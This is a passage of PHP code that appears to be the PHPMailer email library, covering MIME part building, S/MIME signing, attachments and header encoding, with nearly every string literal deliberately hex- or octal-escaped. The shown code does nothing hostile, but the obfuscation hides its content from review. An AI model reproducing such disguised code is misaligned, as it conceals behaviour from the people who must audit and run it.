$this->headerLine("\103\157\156\x74\x65\x6e\x74\55\x54\x79\160\x65", "\155\x75\x6c\164\x69\160\x61\x72\x74\57\x72\145\154\141\x74\145\144\x3b"); $body .= $this->textLine("\11\x62\x6f\165\x6e\x64\141\162\x79\75\x22" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\164\x65\170\164\57\x68\x74\x6d\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\151\156\x6c\x69\156\x65", $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case "\x61\x6c\x74\137\x61\x74\164\141\143\150": $body .= $mimepre; $body .= $this->textLine("\x2d\x2d" . $this->boundary[1]); $body .= $this->headerLine("\103\157\156\x74\145\156\x74\x2d\124\x79\x70\145", "\155\165\x6c\x74\151\160\x61\x72\x74\x2f\141\154\164\145\162\156\x61\x74\x69\166\145\73"); $body .= $this->textLine("\x9\x62\157\x75\156\144\x61\162\x79\75\x22" . $this->boundary[2] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\x74\x65\170\x74\x2f\160\x6c\x61\x69\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\x74\x65\x78\164\x2f\x68\x74\x6d\x6c", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\141\164\x74\x61\143\150\155\145\x6e\x74", $this->boundary[1]); break; case "\141\154\164\137\x69\x6e\x6c\151\x6e\x65\137\141\164\x74\141\x63\150": $body .= $mimepre; $body .= $this->textLine("\x2d\55" . $this->boundary[1]); $body .= $this->headerLine("\x43\x6f\x6e\x74\145\156\164\x2d\124\x79\160\145", "\x6d\165\154\164\151\x70\x61\162\x74\57\x61\x6c\164\x65\162\156\141\x74\151\166\x65\x3b"); $body .= $this->textLine("\11\x62\x6f\x75\x6e\x64\x61\162\x79\x3d\x22" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\164\145\170\x74\x2f\x70\154\x61\151\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\x2d\55" . $this->boundary[2]); $body .= $this->headerLine("\x43\157\156\164\x65\156\x74\x2d\124\x79\160\145", "\155\165\154\x74\x69\x70\x61\162\164\x2f\x72\145\x6c\x61\x74\x65\144\x3b"); $body .= $this->textLine("\11\142\x6f\x75\156\144\x61\162\x79\75\42" . $this->boundary[3] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, "\x74\x65\x78\164\x2f\x68\x74\x6d\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\151\156\x6c\151\156\145", $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\141\164\164\141\x63\150\x6d\145\156\x74", $this->boundary[1]); break; default: $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined("\120\113\x43\x53\67\x5f\124\105\x58\124")) { throw new phpmailerException($this->lang("\x65\170\164\145\156\x73\151\157\x6e\137\155\x69\163\163\151\156\x67") . "\x6f\160\145\156\x73\163\154"); } $file = tempnam(sys_get_temp_dir(), "\x6d\141\151\x6c"); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang("\x73\151\147\156\151\x6e\x67") . "\40\x43\157\165\x6c\x64\x20\x6e\157\164\40\x77\162\x69\164\145\x20\x74\145\155\x70\x20\x66\x69\154\x65"); } $signed = tempnam(sys_get_temp_dir(), "\163\151\147\x6e\145\144"); if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign($file, $signed, "\146\x69\x6c\x65\72\x2f\57" . realpath($this->sign_cert_file), array("\146\151\x6c\x65\x3a\57\57" . realpath($this->sign_key_file), $this->sign_key_pass), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, "\146\151\x6c\145\72\x2f\x2f" . realpath($this->sign_cert_file), array("\x66\151\154\x65\x3a\57\x2f" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("\12\xa", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang("\x73\151\x67\156\151\156\x67") . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine("\x2d\55" . $boundary); $result .= sprintf("\103\157\156\x74\x65\x6e\x74\55\x54\x79\160\145\72\40\45\x73\x3b\x20\x63\x68\141\x72\163\145\x74\75\x25\x73", $contentType, $charSet); $result .= $this->LE; if ($encoding != "\x37\142\x69\164") { $result .= $this->headerLine("\x43\157\x6e\x74\x65\156\164\x2d\124\x72\x61\156\x73\x66\145\x72\x2d\x45\156\143\x6f\x64\x69\156\147", $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . "\x2d\x2d" . $boundary . "\x2d\x2d" . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = "\x61\x6c\x74"; } if ($this->inlineImageExists()) { $type[] = "\x69\156\154\x69\x6e\x65"; } if ($this->attachmentExists()) { $type[] = "\141\x74\164\x61\143\x68"; } $this->message_type = implode("\137", $type); if ($this->message_type == '') { $this->message_type = "\x70\x6c\x61\151\156"; } } public function headerLine($name, $value) { return $name . "\x3a\40" . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = "\142\x61\x73\145\66\64", $type = '', $disposition = "\x61\x74\164\141\x63\x68\155\x65\156\164") { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang("\x66\151\154\145\137\141\x63\143\x65\163\x73") . $path, self::STOP_CONTINUE); } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == "\x69\156\154\151\156\x65" && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("\x2d\55\45\163\x25\163", $boundary, $this->LE); if (!empty($name)) { $mime[] = sprintf("\x43\x6f\156\x74\x65\156\164\x2d\124\171\160\x65\72\40\45\x73\x3b\x20\156\141\x6d\x65\75\x22\x25\x73\42\45\163", $type, $this->encodeHeader($this->secureHeader($name)), $this->LE); } else { $mime[] = sprintf("\x43\157\156\x74\x65\156\x74\55\124\171\160\x65\x3a\x20\45\163\45\163", $type, $this->LE); } if ($encoding != "\x37\142\151\x74") { $mime[] = sprintf("\x43\157\156\x74\145\156\x74\55\124\162\x61\156\163\x66\x65\x72\x2d\x45\156\143\x6f\144\151\156\x67\x3a\x20\45\x73\45\163", $encoding, $this->LE); } if ($disposition == "\151\x6e\154\x69\x6e\145") { $mime[] = sprintf("\103\x6f\x6e\164\145\x6e\164\55\x49\104\72\x20\x3c\x25\163\76\45\x73", $cid, $this->LE); } if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match("\57\133\40\134\50\x5c\x29\x3c\76\x40\x2c\x3b\72\x5c\42\x5c\57\134\133\134\135\x5c\x3f\75\x5d\57", $encoded_name)) { $mime[] = sprintf("\x43\x6f\156\x74\145\x6e\164\x2d\x44\151\163\160\157\x73\151\x74\x69\x6f\156\x3a\x20\x25\x73\73\x20\146\x69\154\145\x6e\x61\x6d\x65\x3d\x22\45\163\42\x25\163", $disposition, $encoded_name, $this->LE . $this->LE); } else { if (!empty($encoded_name)) { $mime[] = sprintf("\x43\x6f\x6e\x74\x65\x6e\x74\55\104\151\163\160\157\163\151\164\151\x6f\x6e\72\x20\x25\x73\x3b\40\x66\151\154\145\156\x61\x6d\145\75\45\x73\x25\163", $disposition, $encoded_name, $this->LE . $this->LE); } else { $mime[] = sprintf("\103\x6f\x6e\x74\145\x6e\164\55\x44\x69\163\160\157\x73\x69\x74\151\157\156\x3a\x20\x25\x73\45\163", $disposition, $this->LE . $this->LE); } } } else { $mime[] = $this->LE; } if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("\55\55\x25\163\55\55\45\x73", $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = "\x62\x61\x73\145\66\x34") { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang("\146\x69\154\145\137\x6f\x70\145\156") . $path, self::STOP_CONTINUE); } $magic_quotes = false; if (version_compare(PHP_VERSION, "\x37\56\64\56\x30", "\74")) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, "\x35\x2e\x33\56\x30", "\74")) { set_magic_quotes_runtime(false); } else { ini_set("\155\141\x67\x69\x63\137\161\x75\157\164\145\x73\137\162\x75\x6e\164\151\155\145", false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, "\65\x2e\x33\x2e\x30", "\74")) { set_magic_quotes_runtime($magic_quotes); } else { ini_set("\155\141\x67\151\x63\x5f\161\165\x6f\164\145\x73\137\162\165\156\164\x69\x6d\x65", $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = "\x62\141\163\145\66\x34") { $encoded = ''; switch (strtolower($encoding)) { case "\x62\x61\163\145\x36\x34": $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case "\67\142\151\164": case "\x38\x62\x69\164": $encoded = $this->fixEOL($str); if (substr($encoded, -strlen($this->LE)) != $this->LE) { $encoded .= $this->LE; } break; case "\x62\x69\x6e\x61\162\171": $encoded = $str; break; case "\161\x75\157\164\145\144\x2d\160\x72\151\x6e\x74\x61\142\154\x65": $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang("\x65\156\x63\157\x64\x69\156\x67") . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = "\x74\145\170\164") { $matchcount = 0; switch (strtolower($position)) { case "\x70\150\x72\141\163\145": if (!preg_match("\x2f\133\134\62\60\60\x2d\x5c\63\x37\67\x5d\57", $str)) { $encoded = addcslashes($str, "\x0\56\x2e\x1f\x7f\x5c\42"); if ($str == $encoded && !preg_match("\x2f\133\136\101\55\x5a\141\x2d\x7a\x30\55\71\41\x23\x24\45\x26\47\52\x2b\x5c\57\x3d\77\x5e\137\x60\x7b\x7c\x7d\x7e\40\55\135\x2f", $str)) { return $encoded; } else { return "\x22{$encoded}\42"; } } $matchcount = preg_match_all("\57\x5b\136\x5c\60\64\60\134\60\x34\61\x5c\x30\64\63\55\134\61\63\x33\x5c\x31\63\65\55\x5c\x31\67\66\135\57", $str, $matches); break; case "\143\157\155\x6d\145\156\x74": $matchcount = preg_match_all("\57\x5b\x28\51\42\135\x2f", $str, $matches); case "\164\x65\x78\x74": default: $matchcount += preg_match_all("\x2f\x5b\134\x30\60\x30\x2d\x5c\x30\61\x30\x5c\60\61\63\134\x30\x31\x34\134\60\61\x36\55\x5c\60\63\67\134\x31\x37\67\x2d\134\x33\x37\67\x5d\x2f", $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->CharSet); if ($matchcount > strlen($str) / 3) { $encoding = "\x42"; if (function_exists("\155\x62\x5f\x73\164\162\x6c\x65\156") && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\12"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\xa")); } } else { $encoding = "\121"; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace("\75" . self::CRLF, "\12", trim($encoded)); } $encoded = preg_replace("\x2f\x5e\x28\x2e\52\51\44\57\x6d", "\x20\x3d\77" . $this->CharSet . "\77{$encoding}\x3f\x5c\61\77\75", $encoded); $encoded = trim(str_replace("\12", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists("\155\x62\x5f\x73\164\162\154\145\156")) { return strlen($str) > mb_strlen($str, $this->CharSet); } else { return false; } } public function has8bitChars($text) { return (bool) preg_match("\57\x5b\x5c\x78\70\x30\55\x5c\x78\106\x46\135\57", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = "\x3d\x3f" . $this->CharSet . "\77\x42\x3f"; $end = "\77\x3d"; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists("\161\x75\x6f\x74\145\x64\137\x70\x72\x69\156\164\141\x62\x6c\145\137\145\x6e\143\x6f\144\x65")) { return quoted_printable_encode($string); } $string = str_replace(array("\45\62\x30", "\x25\60\x44\45\60\101\x2e", "\x25\x30\x44\45\60\101", "\x25"), array("\x20", "\15\12\75\62\105", "\xd\xa", "\75"), rawurlencode($string)); return preg_replace("\57\133\x5e\134\162\134\x6e\x5d\173" . ($line_max - 3) . "\175\x5b\136\75\x5c\x72\x5c\156\x5d\173\x32\175\57", "\x24\60\75\xd\xa", $string); } public function encodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = "\x74\x65\x78\164") { $pattern = ''; $encoded = str_replace(array("\15", "\12"), '', $str); switch (strtolower($position)) { case "\160\150\x72\x61\163\145": $pattern = "\136\101\x2d\132\141\55\x7a\x30\55\71\41\x2a\53\134\x2f\40\x2d"; break; case "\x63\157\x6d\x6d\145\156\x74": $pattern = "\134\50\134\x29\x22"; case "\x74\x65\170\x74": default: $pattern = "\134\x30\x30\60\x2d\x5c\60\x31\61\x5c\x30\61\63\134\60\61\x34\x5c\60\x31\x36\x2d\x5c\60\x33\67\x5c\x30\x37\x35\x5c\60\67\67\x5c\61\x33\67\x5c\61\x37\x37\55\134\63\x37\x37" . $pattern; break; } $matches = array(); if (preg_match_all("\x2f\133{$pattern}\x5d\x2f", $encoded, $matches)) { $eqkey = array_search("\x3d", $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], "\75"); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "\x3d" . sprintf("\x25\60\62\130", ord($char)), $encoded); } } return str_replace("\x20", "\137", $encoded); } public function addStringAttachment($string, $filename, $encoding = "\142\141\x73\145\x36\64", $type = '', $disposition = "\x61\x74\164\141\x63\150\155\x65\156\x74") { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = "\142\141\163\x65\x36\x34", $type = '', $disposition = "\151\x6e\x6c\x69\x6e\145") { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang("\x66\151\x6c\145\x5f\x61\143\143\145\x73\x73") . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = "\142\141\163\145\x36\x34", $type = '', $disposition = "\x69\x6e\154\151\156\145") { if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\151\156\x6c\x69\x6e\145") { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\141\x74\164\x61\x63\150\x6d\x65\x6e\164") { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses("\x74\157"); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses("\x63\x63"); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses("\x62\x63\143"); } public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == "\x73\155\164\x70" and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror["\145\x72\162\157\x72"])) { $msg .= $this->lang("\x73\155\164\x70\137\145\x72\162\x6f\162") . $lasterror["\145\x72\162\157\162"]; if (!empty($lasterror["\144\x65\x74\141\151\154"])) { $msg .= "\40\x44\145\164\141\x69\154\x3a\40" . $lasterror["\x64\145\164\x61\x69\154"]; } if (!empty($lasterror["\x73\155\x74\x70\137\143\157\x64\x65"])) { $msg .= "\x20\123\115\124\120\x20\143\x6f\x64\145\72\40" . $lasterror["\163\155\x74\x70\137\143\x6f\x64\x65"]; } if (!empty($lasterror["\x73\155\x74\160\x5f\x63\157\x64\x65\137\x65\170"])) { $msg .= "\x20\101\144\x64\151\x74\x69\x6f\156\x61\154\x20\123\x4d\124\x50\40\151\x6e\x66\157\72\40" . $lasterror["\163\x6d\x74\x70\137\143\x6f\x64\x65\x5f\145\170"]; } } } $this->ErrorInfo = $msg; } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("\104\54\x20\152\40\x4d\x20\131\40\110\72\x69\72\163\40\117"); } protected function serverHostname() { $result = "\154\x6f\143\141\154\x68\157\163\164\x2e\x6c\x6f\x63\141\154\144\157\155\x61\151\156"; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists("\123\105\122\x56\x45\122\137\116\x41\115\105", $_SERVER) and !empty($_SERVER["\x53\x45\x52\x56\105\122\x5f\116\x41\x4d\105"])) { $result = $_SERVER["\x53\105\122\126\105\122\x5f\x4e\x41\115\x45"]; } elseif (function_exists("\x67\145\x74\150\157\163\164\x6e\141\x6d\145") && gethostname() !== false) { $result = gethostname(); } elseif (php_uname("\x6e") !== false) { $result = php_uname("\x6e"); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage("\145\x6e"); } if (array_key_exists($key, $this->language)) { if ($key == "\x73\155\x74\160\x5f\x63\157\x6e\x6e\145\x63\164\137\x66\x61\151\154\x65\144") { return $this->language[$key] . "\x20\x68\164\x74\x70\163\x3a\57\57\147\x69\x74\x68\x75\x62\56\143\157\x6d\x2f\120\110\120\x4d\x61\x69\x6c\x65\x72\57\120\110\120\115\141\x69\154\145\x72\x2f\167\x69\153\151\57\x54\x72\157\x75\x62\154\145\163\150\x6f\x6f\164\x69\156\x67"; } return $this->language[$key]; } else { return $key; } } public function isError() { return $this->error_count > 0; } public function fixEOL($str) { $nstr = str_replace(array("\15\xa", "\xd"), "\12", $str); if ($this->LE !== "\xa") { $nstr = str_replace("\xa", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode("\x3a", $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all("\57\x28\163\x72\143\x7c\x62\x61\143\x6b\147\162\157\165\x6e\x64\51\x3d\133\x22\47\x5d\50\x2e\52\x29\133\x22\47\x5d\57\125\x69", $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != "\57") { $basedir .= "\57"; } foreach ($images[2] as $imgindex => $url) { if (preg_match("\x23\136\144\x61\164\141\72\x28\151\x6d\x61\147\x65\x5b\x5e\x3b\54\x5d\x2a\51\50\73\x62\x61\x73\x65\66\64\x29\x3f\x2c\43", $url, $match)) { $data = substr($url, strpos($url, "\54")); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . "\x40\x70\150\160\155\141\151\x6c\x65\162\x2e\60"; if ($this->addStringEmbeddedImage($data, $cid, "\145\155\142\145\144" . $imgindex, "\x62\141\x73\145\x36\64", $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "\75\42\x63\151\x64\72" . $cid . "\x22", $message); } continue; } if (!empty($basedir) && strpos($url, "\x2e\x2e") === false && substr($url, 0, 4) !== "\x63\151\144\72" && !preg_match("\x23\136\x5b\141\55\172\x5d\133\x61\55\172\x30\x2d\x39\53\56\55\x5d\52\x3a\x3f\57\x2f\x23\x69", $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == "\56") { $directory = ''; } $cid = md5($url) . "\x40\160\150\160\155\x61\x69\x6c\145\162\56\x30"; if (strlen($directory) > 1 && substr($directory, -1) != "\x2f") { $directory .= "\x2f"; } if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, "\142\x61\163\145\x36\64", self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("\57" . $images[1][$imgindex] . "\x3d\133\x22\x27\135" . preg_quote($url, "\57") . "\133\x22\47\135\57\x55\x69", $images[1][$imgindex] . "\75\42\143\151\x64\72" . $cid . "\42", $message); } } } } $this->isHTML(true); $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = "\x54\x6f\x20\166\151\145\x77\40\164\x68\151\x73\x20\x65\x6d\x61\x69\x6c\40\x6d\145\163\163\x61\147\x65\54\40\157\x70\x65\156\x20\151\164\40\x69\156\40\141\x20\x70\x72\157\147\x72\141\x6d\40\x74\x68\141\x74\x20\x75\156\144\145\162\163\x74\x61\156\144\163\x20\110\124\x4d\x4c\x21" . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace("\57\74\x28\x68\145\141\144\x7c\x74\x69\164\154\x65\x7c\163\x74\171\x6c\x65\x7c\x73\143\x72\151\x70\164\51\x5b\x5e\76\x5d\52\76\56\x2a\x3f\x3c\134\57\134\61\76\57\163\x69", '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array("\170\x6c" => "\x61\160\160\154\x69\143\141\164\151\157\156\57\145\x78\143\x65\x6c", "\x6a\x73" => "\x61\160\x70\x6c\x69\x63\x61\x74\151\157\156\57\x6a\x61\x76\141\x73\143\x72\x69\x70\164", "\150\161\170" => "\x61\x70\x70\x6c\x69\x63\141\x74\151\157\x6e\57\155\x61\143\x2d\x62\x69\x6e\150\x65\x78\64\x30", "\x63\160\164" => "\141\160\160\x6c\x69\143\141\164\x69\x6f\x6e\x2f\x6d\x61\143\55\x63\157\x6d\160\x61\x63\164\x70\162\157", "\142\x69\x6e" => "\x61\160\160\154\151\x63\141\x74\151\x6f\x6e\x2f\155\141\x63\142\151\156\x61\162\x79", "\x64\157\143" => "\141\x70\x70\154\151\x63\x61\164\151\x6f\x6e\57\x6d\163\x77\x6f\x72\x64", "\167\157\x72\x64" => "\x61\x70\x70\154\151\x63\x61\x74\x69\157\x6e\57\x6d\x73\167\157\x72\x64", "\170\154\x73\170" => "\x61\x70\160\x6c\151\143\x61\164\151\157\x6e\57\166\156\144\x2e\157\x70\x65\156\x78\155\154\x66\x6f\x72\155\x61\164\x73\x2d\x6f\146\x66\x69\143\145\x64\x6f\143\x75\x6d\x65\x6e\164\x2e\163\x70\162\x65\x61\144\163\x68\145\x65\164\155\x6c\x2e\163\150\x65\x65\x74", "\170\x6c\164\170" => "\x61\160\160\x6c\151\143\x61\164\151\157\156\x2f\x76\156\144\56\157\160\145\156\x78\155\x6c\146\x6f\162\x6d\141\x74\x73\55\x6f\146\x66\x69\143\145\x64\157\x63\x75\155\x65\x6e\164\x2e\163\x70\162\x65\141\x64\x73\x68\145\145\164\155\x6c\56\x74\145\x6d\x70\154\141\164\x65", "\160\x6f\164\x78" => "\x61\160\x70\154\151\143\x61\x74\x69\x6f\x6e\x2f\166\156\x64\x2e\157\x70\x65\x6e\x78\155\x6c\x66\157\162\155\x61\164\163\55\x6f\146\x66\151\x63\x65\144\x6f\x63\x75\x6d\145\156\x74\x2e\x70\x72\x65\163\x65\156\x74\141\x74\151\157\156\155\x6c\x2e\164\145\x6d\x70\154\x61\x74\x65", "\x70\x70\x73\170" => "\x61\x70\160\x6c\x69\x63\x61\164\151\x6f\156\x2f\166\x6e\x64\x2e\x6f\x70\145\156\170\155\x6c\x66\157\x72\155\141\164\x73\x2d\x6f\x66\x66\151\x63\145\144\x6f\143\x75\155\x65\x6e\164\x2e\160\162\x65\163\x65\156\x74\141\164\151\157\156\155\x6c\56\x73\x6c\151\x64\145\163\x68\157\167", "\x70\160\x74\x78" => "\x61\x70\x70\154\151\143\x61\164\151\157\x6e\x2f\x76\156\144\x2e\x6f\160\x65\x6e\170\x6d\154\146\157\x72\x6d\141\x74\x73\x2d\157\146\146\151\143\145\x64\x6f\x63\165\x6d\145\156\164\x2e\160\x72\145\x73\x65\x6e\x74\141\164\151\157\156\155\x6c\56\x70\x72\x65\163\145\x6e\x74\x61\164\151\157\x6e", "\x73\154\144\x78" => "\x61\x70\160\154\151\x63\141\x74\151\157\156\57\x76\x6e\144\x2e\x6f\x70\x65\x6e\x78\x6d\x6c\146\x6f\162\155\141\164\x73\x2d\157\x66\146\151\143\145\144\x6f\x63\165\x6d\x65\156\x74\56\x70\x72\x65\x73\x65\156\x74\x61\x74\x69\x6f\156\x6d\154\56\x73\x6c\151\x64\x65", "\144\x6f\143\x78" => "\141\x70\x70\x6c\x69\143\141\x74\x69\157\x6e\57\x76\x6e\144\x2e\157\160\x65\x6e\x78\x6d\x6c\146\x6f\x72\155\141\164\163\x2d\157\146\146\151\143\x65\144\x6f\143\x75\155\x65\x6e\x74\x2e\167\157\x72\144\x70\162\x6f\x63\145\163\x73\151\x6e\x67\x6d\154\x2e\x64\x6f\143\x75\x6d\x65\156\164", "\144\157\x74\x78" => "\x61\x70\x70\x6c\151\x63\x61\x74\151\x6f\156\57\166\156\x64\x2e\x6f\x70\145\x6e\170\155\154\x66\157\x72\155\141\x74\163\x2d\157\146\146\151\x63\x65\x64\x6f\x63\x75\155\145\x6e\x74\x2e\167\157\162\144\160\x72\157\x63\x65\163\163\x69\x6e\x67\155\154\x2e\x74\145\155\x70\x6c\x61\164\x65", "\x78\x6c\141\x6d" => "\x61\x70\x70\154\x69\x63\x61\164\151\157\x6e\x2f\166\156\x64\x2e\x6d\x73\55\145\170\x63\145\x6c\x2e\x61\144\144\151\x6e\56\155\141\143\x72\x6f\x45\156\141\142\154\145\144\x2e\x31\62", "\170\154\163\x62" => 